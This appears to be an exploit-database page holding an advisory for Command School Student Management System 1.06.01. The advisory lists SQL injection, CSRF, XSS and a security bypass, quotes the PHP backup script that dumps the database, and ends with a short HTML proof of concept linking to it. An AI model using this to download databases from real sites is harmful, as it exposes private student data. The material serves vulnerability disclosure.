
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
82 lines
No EOL
2.6 KiB
Text
82 lines
No EOL
2.6 KiB
Text
source: https://www.securityfocus.com/bid/64707/info
|
|
|
|
Command School Student Management System is prone to the following security vulnerabilities:
|
|
|
|
1. Multiple SQL-injection vulnerabilities
|
|
2. A cross-site request forgery vulnerability
|
|
3. A cross-site scripting vulnerability
|
|
4. An HTML injection vulnerability
|
|
5. A security-bypass vulnerability
|
|
|
|
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
|
|
|
|
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected.
|
|
|
|
|
|
##############
|
|
VULNERABILITY
|
|
##############
|
|
|
|
/Backup/backup_ray2.php (LINE: 78-126)
|
|
|
|
-----------------------------------------------------------------------------
|
|
// SET THE NAME OF THE BACKUP WITH A TIMESTAMP
|
|
$bkup = 'mysql' . date('Ymd\THis') . $db_name . '.txt';
|
|
$fp = fopen($bkup, "w");
|
|
|
|
|
|
// GET THE LIST OF TABLES
|
|
$sql = "SHOW TABLES";
|
|
$res = mysql_query($sql);
|
|
if (!$res) die( mysql_error() );
|
|
if (mysql_num_rows($res) == 0) die( "NO TABLES IN $db_name" );
|
|
while ($s = mysql_fetch_array($res))
|
|
{
|
|
$tables[] = $s[0];
|
|
}
|
|
|
|
|
|
// ITERATE OVER THE LIST OF TABLES
|
|
foreach ($tables as $table)
|
|
{
|
|
|
|
// WRITE THE DROP TABLE STATEMENT
|
|
fwrite($fp,"DROP TABLE `$table`;\n");
|
|
|
|
// GET THE CREATE TABLE STATEMENT
|
|
$res = mysql_query("SHOW CREATE TABLE `$table`");
|
|
if (!$res) die( mysql_error() );
|
|
$cre = mysql_fetch_array($res);
|
|
$cre[1] .= ";";
|
|
$txt = str_replace("\n", "", $cre[1]); // FIT EACH QUERY ON ONE LINE
|
|
fwrite($fp, $txt . "\n");
|
|
|
|
// GET THE TABLE DATA
|
|
$data = mysql_query("SELECT * FROM `$table`");
|
|
$num = mysql_num_fields($data);
|
|
while ($row = mysql_fetch_array($data))
|
|
{
|
|
|
|
// MAKE INSERT STATEMENTS FOR ALL THE VALUES
|
|
$txt = "INSERT INTO `$table` VALUES(";
|
|
for ($i=0; $i < $num; $i++)
|
|
{
|
|
$txt .= "'".mysql_real_escape_string($row[$i])."', ";
|
|
}
|
|
$txt = substr($txt, 0, -2);
|
|
fwrite($fp, $txt . ");\n");
|
|
}
|
|
}
|
|
// ALL DONE
|
|
fclose($fp);
|
|
-----------------------------------------------------------------------------
|
|
|
|
#####################################################
|
|
EXPLOIT
|
|
#####################################################
|
|
|
|
<html>
|
|
<title>Iphobos Blog</title>
|
|
<label><a href="http://www.example.com/sw/backup/backup_ray2.php" class="button
|
|
white">Backup Download</a></label>
|
|
</html> |